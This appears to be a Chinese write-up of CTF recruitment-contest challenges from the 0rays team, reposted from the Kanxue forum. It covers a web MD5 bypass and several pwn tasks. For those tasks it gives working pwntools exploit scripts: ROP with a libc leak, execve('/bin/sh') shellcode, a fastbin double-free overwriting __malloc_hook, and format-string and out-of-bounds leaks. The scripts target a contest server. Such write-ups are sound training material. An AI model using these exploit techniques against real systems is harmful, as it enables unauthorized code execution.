查看原文
其他

0rays战队2021圣诞校内招新赛题解

Nameless_a 看雪学苑 2022-07-01


本文为看雪论坛优秀文章
看雪论坛作者ID:Nameless_a


题目链接:http://ctf.0rays.club/

 

web

Sign_in

dustbin talk

pwn手最后一个小时想捞点分就尝试了一下web的签到题,结果一开始不会做。
 
 
后来网上学习了一下强行切了。

题解

首先是要给个截断绕过第一个if()
 
?a=2333%0a
 
后面禁了数组容器所以是一个md5绕过,不过挺弱的,网上随便找两个字符串就过了
 
 
然后还有就是做得太久,服务器重启了,请教了北邮的nova师傅才知道


PWN

(一)aaa

开门红

ida

很明显的ret2backdoor就不详细写了。《pwn is so easy》31小时折磨的开端。

exp

from pwn import *r=process('./stack')r.sendline('a'*0x18+p64(0x4011dd))r.interactive()

(二)hardstack

看下保护:

反汇编以及思路:

首先是一个到全局变量的读入,然后要读入buf,发现buf只能覆盖到返回地址并且要拿buf和字 符'Y'和'y'进行strcmp的操作。
 
无后门函数意思是要自己调用。
 
但有libc文件,所以要调用打印函数(这题只有puts函数)打印二进制文件的某个got表和libc的对应函 数的symbol表相减算出基址,再得出system函数的symbol表地址和字符串'/bin/sh'的地址最后调用。
 
但有个问题,只调用puts函数的话泄露出got表地址就无法继续操作了,一开始想的是返回到main,但 是会出问题(后面会提到),所以只能选择调用read函数。
 
用查找gadget的指令没发现pop rdx的东东(也没有在函数列表发现csu),于是就去找大师傅对线了。
 
 
后来ida里看了看text段,找到了。
 

解题过程

由于buf能读入的字节数很少,所以想到栈迁移,把栈帧迁移到前面读入的全局变量段并控制rip为迁移 以后栈帧+8字节位置的地址,但直接迁移到读入的开始也会有问题(后面再说)
 
rop链就是pop_rdi_ret+got+put_plt+csu调用read函数。
 
读入数据到什么位置呢?到csu的ret时的rsp的位置(这个调出来比直接算要简单,我直接算差了8个字节)

问题

这道题思路很清晰,但是就是做的过程中出了三个问题。

(1) main函数返回会在第一个读入函数卡死 ;
(2)调用read函数的plt表时发现被修改了,而且能定位到是put函数里面调用一个函数之后变的;
(3) system函数call一个函数之后卡死。
 
仔细分析一下,这三个问题有一个共性——都是call指令之后出错
 
为啥?举个栗子
这是在进行一个函数动态链接的时候的汇编代码,发现rsp会减少。当然,假如说函数已经被链接了会不 会也会有sub rsp的指令呢?我没看 (懒得) ,但是调试的时候发现是会减少的(大概),这其实是牵扯 到一个在低地址分配栈帧的问题(函数动态链接(指链接过程不含调用)应该没有栈帧的分配), sub sub rsp , rsp就到一个无效(或者不可访问的)内存了


解决思路——抬栈

(1) ret滑雪橇式抬栈
ret=gadget_ret_addresspayload=p64(gadget_ret_address)*N+p64(ROP)(建议N卡个极限位置,不然服务器吃不消会直接滑下悬崖)

(2)栈迁移主动抬高(什么nt名字)
就是在栈迁移的时候往前移一点(同样也不要太多)

exp

from pwn import *r=remote("116.62.46.174",10010)context.log_level='debug'##r=process('./stack1')elf=ELF('./stack1')libc=ELF('./libc-2.31.so')put_plt=elf.plt['puts']put_got=elf.got['puts']read_got=elf.got['read']csu_front=0x401300csu_end=0x401316##print(hex(binsh))pop_rdi_ret=0x401323r.recvuntil('Input your name:')payload1='a'*0x160+p64(0x0)+p64(pop_rdi_ret)+p64(put_got)+p64(put_plt)+p64(csu_e nd)+p64(0)+p64(0)+p64(1)+p64(0)+p64(0x4042a0)+p64(0x8000)+p64(read_got)+p64(csu_front)+'a'*0x38r.send(payload1)r.recvuntil("Would you like to join 0RAYS?(Y/n)")payload2='y'+'\x00'payload2=payload2.ljust(0x10,'\x00')+p64(0x4040A0+0x160)+p64(0x4012b8)##gdb.attach(r)r.send(payload2)r.recvuntil('Welcome to join us!\n')##r.recvuntil('Welcome to join us!')put_address=u64(r.recv(6).ljust(8,'\x00'))##print(hex(put_address))libc_base=put_address-libc.symbols['puts']sysadress=libc_base+libc.symbols['system']binsh=libc_base+libc.search('/bin/sh').next()print(hex(put_address))print(hex(binsh))print(hex(sysadress))payload3=p64(0x40101a)*128+p64(pop_rdi_ret)+p64(binsh)+p64(sysadress)


(三)code

前置知识

手写shellcode

常见的系统调用号linux64位(https://blog.csdn.net/SUKI547/article/details/103315487)
 
核心思想就是通过汇编指令来控制寄存器的值来达到系统调用的目的,需要对ret等汇编指令有个比较熟悉的认识,并且合理的控制栈上的内容,因为pop和push等指令是从栈上取值的。还要了解一些汇编指令的机器码,比如ret的机器码是0xc3。

保护

 
NX没开的话就考虑是shellcode了。

Ghira

 
结合ida看的栈帧(把call rdx的机器码改成nop nop就可以F5了),发现最后会把数组当成代码段处理,但不能用shellcraft,因为中间有0xc3(ret)隔开,所以就需要手写shellcode。需要顾及到ret指令是pop加jmp的组合,所以手写的shellcode里面需要有push的成分。

注意,push的不是寄存器的值,而是寄存器指向的栈帧上的值,由于中间有ret隔开,所以我们需要用add来移动指向的栈帧。这题rdx为啥会指向栈帧,进入gdb里看看就明白了。
 
 
由于是系统调用的execve('/bin/sh',0,0),rdx和rsi都很简单,xor本身就好了。rdi就需要不断的移动寄存器指向的栈帧,最后指向栈帧上的‘/bin/sh’字符。

exp

from pwn import *##from LibcSearcher import *from pwnlib.util.iters import mbruteforcefrom hashlib import sha256import base64context.log_level='debug'##context.terminal = ["tmux", "splitw", "-h"]context.arch = 'amd64'context.os = 'linux'r=process('./code') def add(con): r.recvuntil(':') r.send(con) pd='''add rdx , 0x10;add eax , 0x3b;push rdx;'''add(asm(pd)) pd='''add rdx , 0x10;xor rsi , rsi;push rdx;'''add(asm(pd)) pd='''add rdx , 0x10;mov rdi , rdx;push rdx;'''add(asm(pd)) pd='''add rdi , 0x10;xor rdx , rdx;push rdi;'''add(asm(pd)) pd='''add rdi , 0x10;syscall;'''##gdb.attach(r)add(asm(pd))gdb.attach(r)add('/bin/sh\x00') r.interactive()

(四)ezheap


如果对fastbin_attack大致如何实现不太熟悉的可以康康俺的堆的随笔,本篇主要是通过对复现招新赛俺没出的堆题来记录一下fastbin_attack的一些细节

前置知识。


(1)malloc返回地址(内存指针)到底是个啥:

这个在俺的随笔里也有,但是俺今天复现的时候才发现俺只明白了字面意思。

 
double_free有个修改fd指针到fake_chunk的地址,然后通过malloc是要把这个地址拿出来的,但这两个地址其实是不一样的,malloc返回的是fake_chunk的content段的地址,意思是会有两个机器字长的偏差。

(2)glibc的检测机制:

这个fake_chunk可不能随便构造,因为glibc有个检查size成员的机制,虽然俺现在不知道它是怎么检查的,有没有对齐的要求,但是俺知道至少不为0。

保护

除了pie全开了。

反汇编






很标准的管理系统,增删和打印。

思路

通过double_free到地址为(0x40403d)的fake_chunk,通过修改content段(0x40404d)一直覆盖到* (&unk_404060 + v1 + 2)(0x404070)的位置为free的got表从而泄露libc基址。
 
然后再次double_free,fake_chunk为malloc_hook-0x23(用地址错位构造size为0x7f),通过add函数修改其content来写修改malloc_hook为one_gadget
 
最后调用一次malloc(0)直接pwn掉

exp

from pwn import *context.log_level='debug'##r=process('./heap')r=remote("116.62.46.174",30000) libc=ELF('./libc-2.23') def cho(num): r.recvuntil("Your choice:") r.sendline(str(num)) def add(id,si,con): cho(1) r.recvuntil("Idx:") r.sendline(str(id)) r.recvuntil("Size:") r.sendline(str(si)) r.recvuntil("Content?\n") r.send(con) def delet(id): cho(2) r.recvuntil("Idx:") r.sendline(str(id)) def show(id): cho(3) r.recvuntil("Idx:") r.sendline(str(id))add(0,0x68,'a')##gdb.attach(r)add(1,0x68,'b')##gdb.attach(r)delet(0)delet(1)##gdb.attach(r)delet(0) add(0,0x68,p64(0x40403d))add(1,0x68,'a')add(0,0x68,'b')##gdb.attach(r)add(0,0x68,'a'*0x23+p64(0x403fa8)) ##gdb.attach(r)show(0)libcbase=u64(r.recv(6).ljust(8,'\x00'))-libc.sym['free']log.success("libcbase:"+hex(libcbase))hook=libcbase+libc.sym['__malloc_hook'] add(0,0x68,'a')add(1,0x68,'b')delet(0)delet(1)delet(0) add(0,0x68,p64(hook-0x23))add(1,0x68,'a')add(0,0x68,'b')one=[0x45226,0x4527a,0xf03a4,0xf1247]onegadget=one[3]+libcbaseadd(0,0x68,'a'*0x13+p64(onegadget)) cho(1)r.recvuntil("Idx:")r.sendline(str(0))r.recvuntil("Size:")##gdb.attach(r)r.sendline(str(0)) r.interactive()

(五)overflow

例题:【赛博协会招新赛】overflow

保护

ida

frame

思路

首先要调用shell函数的话是要leak libc基址的,发现可用printf(buf)来leak返回地址的__libc_start_main+231即可算出libc基地址。
 
用scanf字符串格式化漏洞修改elf.got['exit']为main函数的got从而返回,然后再次修改elf.got['exit']为one_gadget即可。


(六)secret

保护

和上上上上道的保护一样就不展示了。


ida

 
发现没啥思路(当时还没想到printf函数怎么用)
大师傅说这个的时候栈和bss段以及.got.plt段都看烂了
 
先看看栈:

 
哟,这不是wiki上的那道原题吗(当时学onegadget并没有完全懂)
 
套个模板,选择爆破 然后就在纠结到底爆破dl_fini还是libc_start
 
wiki是爆破的dl_fini,那就先试试。
 
结果不行。
 
那就libc_start?
 
还是不行,怎么办?
 
回去看反汇编,灵光一闪!
 
我输入一个负数它不就能泄露低地址的got表了莫。
 
结果,还是输出了我不能控制的数据。
 
于是,意识到需要从汇编代码的角度去看为什么:

 
发现esi在0x401243被修改为eax。
 
eax在上条被修改为数组首地址偏移rdx位地址的内容(rax不用管是个定值调调就知道)
 
然后rdx被修改为rax*4,当时rax就是我们输入的内容 所以直接输入偏移量是不对的,得除以4 由于printf(“%d”)只能输出4个字节的内容,所以我们减去elf.got[]获得不是完全的libc基址,而是低几 位的(具体几位得调调才知道),这时候要用到libc_main_start 和libc首地址非常近的性质,直接覆盖 libc_mian_start的低几位就可调用one_gadget


exp

from pwn import *context.log_level='debug'r=remote('116.62.46.174',20001)##r=process('./secret')libc=ELF('./libc-2.27.so')r.recvuntil('I have 10 secrets, choice one to read?')##gdb.attach(r)r.sendline('-34')r.recvuntil('The secret is ')string=r.recvuntil('\n')[:-1]print(string)address=int(string)##print(string)##print(hex(string))##address=int(string)base=address-libc.symbols['puts']##print(hex(address))##print(hex(libc.symbols['puts']))one_gadget=base+0x4f432 print(hex(one_gadget))r.recvuntil("leave your secret")##print(one)payload= 0x38*'a' + p32(one_gadget)[:5]r.send(payload)r.interactive()




看雪ID:Nameless_a

https://bbs.pediy.com/user-home-943085.htm

*本文由看雪论坛 Nameless_a 原创,转载请注明来自看雪社区



# 往期推荐

1.2022腾讯游戏安全初赛一题解析

2.一文读懂PE文件签名并手工验证签名有效性

3.一款路由器安全测试

4.一道pwn题目2e4zu的深入分析

5.CNVD-2018-01084 漏洞复现报告(service.cgi 远程命令执行漏洞)

6.Fuzz学习记录






球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存